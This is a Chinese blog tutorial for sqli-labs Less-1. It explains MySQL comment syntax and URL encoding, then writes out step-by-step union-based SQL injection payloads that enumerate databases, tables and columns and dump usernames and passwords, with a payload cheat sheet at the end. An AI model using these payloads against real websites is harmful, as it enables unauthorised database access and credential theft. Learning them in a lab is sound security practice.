环境准备:

Phpstudy  (PHP+Apache+Mysql)

Sql-lab

首先了解下基础知识:

URL编码:

因为在浏览器中,当我们访问一个网址的时候,浏览器会自动将用户输入的网址进行URL编码,因为Http协议中参数的传输是"key=value"这种键值对形式的,所以会将“=”,“#”等字常见的字符进行URL编码。等号的URL编码为%23,空格是%20,单引号是%27, 井号是%23,双引号是%22等,(详情可参考http://www.w3school.com.cn/tags/html_ref_urlencode.html)

因为涉及到Mysql数据库,在插入数据库语句时会用到Mysql数据库的注释符

Mysql支持三种注释方式:

   1.从‘#'字符从行尾。

   2.从‘-- '序列到行尾。请注意‘-- '(双破折号)注释风格要求第2个破折号后面至少跟一个空格符(例如空格、tab、换行符(用%20或者+表示空格)等等)。

   3.从/*序列到后面的*/序列。结束序列不一定在同一行中,因此该语法允许注释跨越多行。

 SQL手工注入的基本流程:

 1、首先判断是什么类型的注入,有没过滤了关键字,能不能通过加入注释符绕过

  2、接着获取当前数据库用户,版本,当前连接的数据库等信息。

  3、然后一般是获取用户账户密码的那个数据库表的信息

  4、接着获取列信息

  5、最后就获取数据了

为了方便学习查看,可以在源码中的$sql下一句语句写以下php语句(就是输出拿到数据库查询的完整语句是怎么样的)

echo "你的 sql 语句是:".$sql."<br>";

Less-1 -- GET-Error based - String quotes  (报错型注入)

首先点开第一个练习,URL为http://192.168.139.131/sqli-lab/Less-1/

根据提示信息,给URL传入参数,然后查看输入不同的值页面返回的数据的不同

尝试如果输入的值id不是整数,那么我们可以传入一个非整数来看看,则不会返回数据;

第一步:判断注入点是否存在

通过替换id的值可以肯出页面返回的信息是不同的,经尝试所以手贱的尝试添加个引号

在参数id后加上引号后发现页面报错,这里可以看到报错信息直接显示在页面上,根据报错信息可以看出数据库是Mysql数据库的。在测试SQL注入时,如果页面上没有很明显的报错信息时,可以将数据包放到Burp中观察返回数据包的大小来判断。

由上图可以看出报错信息是:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''8'' LIMIT 0,1' at line 1

从报错信息中可以看出来一部分SQL语句:

’ 8’ ’ LIMIT 0,1

在这里的8' 是我们传入的参数,从报错信息大致可以才出来后台SQL语句形式

select  XXX, XXX  from users where id='$_GET[id]' limit 0,1

那么结合我们刚刚传入的id值则可以组成的SQL语句大致为:

select  XXX, XXX  from users where id=' 8’ ' limit 0,1

  

如果是在Mysql数据库中传入畸形参数-比如说单引号,数据库语句就无法执行,会一直处于等待闭合的状态,但是对于SQL执行语句来说,它会认为这是一个错误的SQL语句,并且返回一个错误提示信息。所以此时我们应该闭合单引号或者是注释掉单引号。

select  XXX, XXX  from users where id=' 8’  ‘ '  limit 0,1

或者注释掉后面的单引号

select  XXX, XXX  from users where id=' 8’  --  '  limit 0,1   (’--  ’ 采用双短线+空格注释后面的语句)

select  XXX, XXX  from users where id=' 8’  # '  limit 0,1 (采用’#‘注释)

由上面两幅图可以看出,数据正常返回,说明SQL语句正常执行了,后面的单引号被注释了

注意点:

1、为什么是 ‘--+’ 而不是 ‘—‘

因为这里字符 ‘-‘ 和字符 ‘+‘ 在URL中都是有固定的含义的 , 比如说 ‘+’ 就在URL编码中就代表空格 , 而URL编码中 ‘-‘ 不用编码

2、为什么 ‘--+’ 没有被URL

因为由于这里我们是用+代替了空格, 因此不需要进行编码 , 我们也可以不用 ’+’ 而使用空格的URL编码 , 那么编码得到的URL就应该是 :

http://192.168.139.131/sqli-lab/Less-1/?id=8' --%20

3、’#’ 又为什么必须得编码,不编码不可以吗?

不可以 , 因为 ’#’ 在URL中是有固定的含义的 , 表示页面中的锚点 , 如果不进行编码浏览器就会将其当成页面的锚点 , 而这里我们是需要将其作为数据传输给服务器的 , 因此需要进行URL编码。

现在我们能控制的字段是id后面传入的参数,然后拼接到原来的SQL语句中执行,所以通过构造传入不同的id参数,达到控制系统内执行我们所需要的SQL语句。

所以接下来第二步:猜解字段长度

http://192.168.139.131/sqli-lab/Less-1/?id=8'  order by 3 --+

从上面对比可以看出,数据库中字段值为3

通过Order by X 判断数据库中字段数,如果X是小于等于数据库中字段值页面则会返回正常数据,如果X大于数据库中字段值也会则会出错

SQL UNION 操作符:

   (1)UNION 操作符用于合并两个或多个 SELECT 语句的结果集

   (2)请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL

   (3)对于union而言,如果第一个Sql查询语句为错误的话,那么它会将第二个SQL语句的查询结果作为最后的输出

第三步:确定数据库中字段在页面上的回显位:

使用union联合查询后发现页面返回的数据没变,这是因为如果左边的SQL语句正确执行那么就会只返回左边第一个查询语句的运行结果,那么我们只要让第一行查询的结果是空集(即union左边的select子句查询结果为空),那么我们union右边的查询结果自然就成为了第一行,就打印在网页上了。

这个id传递的是数字,而且一般都是从1开始自增的,我们可以把id值设为非正数(负数或0),浮点数,字符型或字符串都行,主要是使左边的查询语句报错就行。

从上面的union  select 1,2, 3 --+语句的执行结果可以看出第2位和第3位是回显位—是数据库中字段可以显示在页面上的位置

所以可以通过替换union  select语句中的第2个字段和第三个字段来查询我们所需要的信息,如:

user():      #返回当前数据库连接使用的用户

database():  #返回当前数据库连接使用的数据库

version():   #返回当前数据库的版本

@@datadir             #数据库路径

@@version_compile_os  #操作系统版本
http://192.168.139.131/sqli-lab/Less-1/?id=-8'  union  select 1,database(), user() --+

http://192.168.139.131/sqli-lab/Less-1/?id=-8'  union  select 1,@@datadir, @@version --+

从上面可以看到,通过页面回显位显示出特定的所需要的值,包括数据库用户,物理路径等

在数据库中执行查询语句时,如果页面显示位比较少,又不想重复性操作,这时我们就用到数据库的连接函数了,常用的就concat和concat_ws,其中concat_ws的第一个参数是连接字符串的分隔符,还会用到group_concat(可以把查询出来的多行连接起来)

具体连接函数用法详情请参考:

https://www.cnblogs.com/yingmo/p/6148360.html
http://192.168.139.131/sqli-lab/Less-1/?id=-8'  UNION SELECT 1,2,concat_ws(char(32,58,32),user(),database(),version(),@@datadir,@@version_compile_os) --+

查询数据库

SQL注入核心就是找到当前数据库,由上图可以看出当前数据库是security,当然还可以看到当前连接数据库的用户是root,因为root权限比较高,我们不仅可以查看到自己当前的数据看还可以看到其他的数据库信息。

在找到当前的数据库后,如果还想看下其他的数据库的内容,可以用这个语句查询所有的数据库:

http://192.168.139.131/sqli-lab/Less-1/?id=-8'  UNION SELECT 1,2,group_concat(schema_name) from  information_schema.schemata --+

接下来查询security数据库中有哪些表

首先说一下mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息,下面说一下常用的几个表

    (1)SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。

  (2)TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表

  (3)COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。 

详细请看:

http://wenku.baidu.com/link?url=bIA38Slp-g2Bob4VDuTSVY8e04Beqq9Xac4I90UMC9ziQuzxiukpEh5abPK-woB9tuQ4DuY_KhKW-eTHH6ACSiMJmRhctiHvijOEFmENBbS

  

查询数据库security中的数据表信息

http://192.168.139.131/sqli-lab/Less-1/?id=-8'  union select 1,2,group_concat(table_name) from  information_schema.tables  where  table_schema=database() --+    

或者

http://192.168.139.131/sqli-lab/Less-1/?id=-8'  union select 1,2,group_concat(table_name) from  information_schema.tables  where  table_schema='security'--+

这里的database()函数进行了数据库查询,因为我们已经查到了当前的数据库为security,所有这里还可以用单引号括把数据库的名称用单引号括起来'security'。

还可以通过hex编码数据库名,当然如果嫌麻烦的话这里还可以直接将数据表用hex编码,Firefox自带的hackbar插件就有。注hex编码后在前面加上0x表明这里是16进制编码。

http://192.168.139.131/sqli-lab/Less-1/?id=-8'  union select 1,2,group_concat(table_name) from  information_schema.tables  where  table_schema=0x7365637572697479 --+

因为我们进行SQL注入时一般是查找用户登录信息,包括用户名密码等信息,所以根据数据特性,一般用户名字段都是放在user表中

查询数据表user中的数据列信息:

http://192.168.139.131/sqli-lab/Less-1/?id=-8'  union select 1,2,group_concat(column_name)  from  information_schema.columns  where  table_name='users'--+

根据列查询特定字段值:

知道了数据库、表名、各个字段名可以直接进行查询了,不需借助information_schanem数据库了。

http://192.168.139.131/sqli-lab/Less-1/?id=-8'  UNION SELECT 1,2,group_concat(char(32,58,32),id,username,password) from users --+

http://192.168.139.131/sqli-lab/Less-1/?id=-8'  union select 1,username,password from users where id =2--+

也许很多人可能会想,这里和开始有什么区别吗?只要我在开始的时候修改那个参数id的值,岂不就可以获取其他的字段信息了吗?何必如此呢?但是如果你这么想,那么你忽略了一点就是,之前的情况下,你是不知道表名的。你只可以查询指定的数据库、表名、字段信息,但是现在你可以进行修改,查询其他系统的数据库的信息了!

简单的对之前的信息进行整理:

order by -- + 判断字段数目

union select  -- + 联合查询收集信息

id=1′ and 1=2 UNION SELECT 1,2,database()  -- + 查询当前数据库

id=1’ and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata  -- +查询所有数据库

id=1′ and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()  -- +查询表名

id=1′ and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’  -- +  查询列名

id=1′ and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users   -- + 查询字段值

  

参考链接:

https://www.freebuf.com/articles/web/160352.html

https://blog.csdn.net/u012763794/article/details/51207833#

https://blog.csdn.net/Fly_hps/article/details/80234840?utm_source=blogxgwz1

通过sqli-labs学习sql注入——基础挑战之less1的更多相关文章

  1. 通过sqli-labs学习sql注入&mdash;&mdash;基础挑战之less1-3

    首先,先看一些基础知识吧!!!!本人只是初学者,记录一下自己的学习过程,有什么错误之处请指出,谢谢!大佬请绕过!!!! url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加 ...

  2. Sql注入基础原理介绍

    说明:文章所有内容均截选自实验楼教程[Sql注入基础原理介绍]~ 实验原理 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击, ...

  3. 2019-9-10:渗透测试,基础学习,sql注入笔记

    sql注入1,万能密码,自己写的网站,找到登录窗口,必须和数据库交互,往里插入构造的恶意代码,最后可以直接登录进去,不需要账号和密码,输入的恶意代码成为万能密码,后端拼接的sql语句,SELECT * ...

  4. Sqli-labs之sql注入基础知识

    (1)注入的分类 基于从服务器接收到的响应  ▲基于错误的SQL注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL盲注 •基于布尔SQL盲注 •基于时间的SQL盲注 •基于报错的SQL盲注 基于如何处理输 ...

  5. WebGoat学习——SQL注入(SQL Injection)

    SQL注入(SQL Injection) 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令.攻击者通过web请求提交带有影响正 ...

  6. TSRC挑战赛:WAF之SQL注入绕过挑战实录

    转自腾讯 博文作者:TSRC白帽子 发布日期:2014-09-03 阅读次数:1338 博文内容: 博文作者:lol [TSRC 白帽子] 第二作者:Conqu3r.花开若相惜 来自团队:[Pax.M ...

  7. 学习SQL注入---1

    开始接触SQL注入了,最开始根据网上的思路做了两道注入的题,但对于SQL注入如何实现,怎么一个流程还是不理解.后来,在网上查找了很多资料,现在一点点去理解. 1.利用sqlmap注入的时候,不是所有页 ...

  8. SQL 注入基础

    SQL注入 SQL注入是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为. 本质:把用户输入的数据当作代码执行.任何和数据库产生交互的地方便有可能存在注入. SQL ...

  9. sql注入--基础

    什么是sql注入: 利用SQL语句 在外部 对数据库进行 查询,更新等 动作 sql注入的原理: 输入值可控且带入数据库执行(前提) 接受的变量传值未进行过滤(实质) sql注入的目的: 获取数据(网 ...

随机推荐

  1. extern &quot;c&quot;用法解析

    转自: extern "c"用法解析 - 简书 引言 C++保留了一部分过程式语言的特点,因而它可以定义不属于任何类的全局变量和函数.但是,C++毕竟是一种面向对象的程序设计语言, ...

  2. SPOJ 1557. Can you answer these queries II 线段树

    Can you answer these queries II Time Limit: 20 Sec Memory Limit: 256 MB 题目连接 https://www.spoj.com/pr ...

  3. Word 2010发布博客文章

    只测试了cnblog 1.新建文件选择word 2010自带的博客文章模板 2.在管理账户中新建一个博客账户,也就是你自己在博客园的账户,博客选其他 3.然后选择下一步,博客的URL在自己的博客设置里 ...

  4. ArcPad 10 的安装部署

    ArcPad是安装在手持设备或者移动终端的一个外业ArcGIS产品,也就是说ArcPad是Esri的一款软件产品,而不是硬件设备哦.尽管不比ArcGIS Desktop功能复杂缤纷,可是对于野外作业. ...

  5. 2016-2017 ACM-ICPC, NEERC, Southern Subregional Contest J. Bottles

    J. Bottles time limit per test 2 seconds memory limit per test 512 megabytes input standard input ou ...

  6. freemarker之include指令(九)

    freemarker之include指令 1.父页面ftl <html> <head> <meta http-equiv="content-type" ...

  7. 刨析Maven(对pom.xml配置文件常用标签的解析)

    昨天在阿里云看到了一句话,"当你Learning和Trying之后,如果能尽量把Teaching也做好,会促进我们思考".共勉! 这是关于Maven的第三篇博客,这次我们深入了解p ...

  8. Windows Server 2016-Active Directory复制概念(二)

    本章继续补充有关Active Directory复制概念,具体内容如下: 连接对象: 连接对象是一个Active Directory对象,表示从源域控制器到目标域控制器的复制连接.域控制器是单个站点的 ...

  9. C#.NET常见问题(FAQ)-如何让文本框textbox内容限制为数字

    //限制文本框的输入 private void txtQuestionScore_KeyPress(object sender, KeyPressEventArgs e) { if (e.KeyCha ...

  10. DRBD 实验

    跨主机的块设备镜像系统,工作在内核中完成 drbd工作原理:客户端发起一个写操作的系统调用给文件系统,写请求再到达内核缓冲区,最到达DRBD模块,此时drbd会复制写入磁盘的数据,且进行两步操作,第一 ...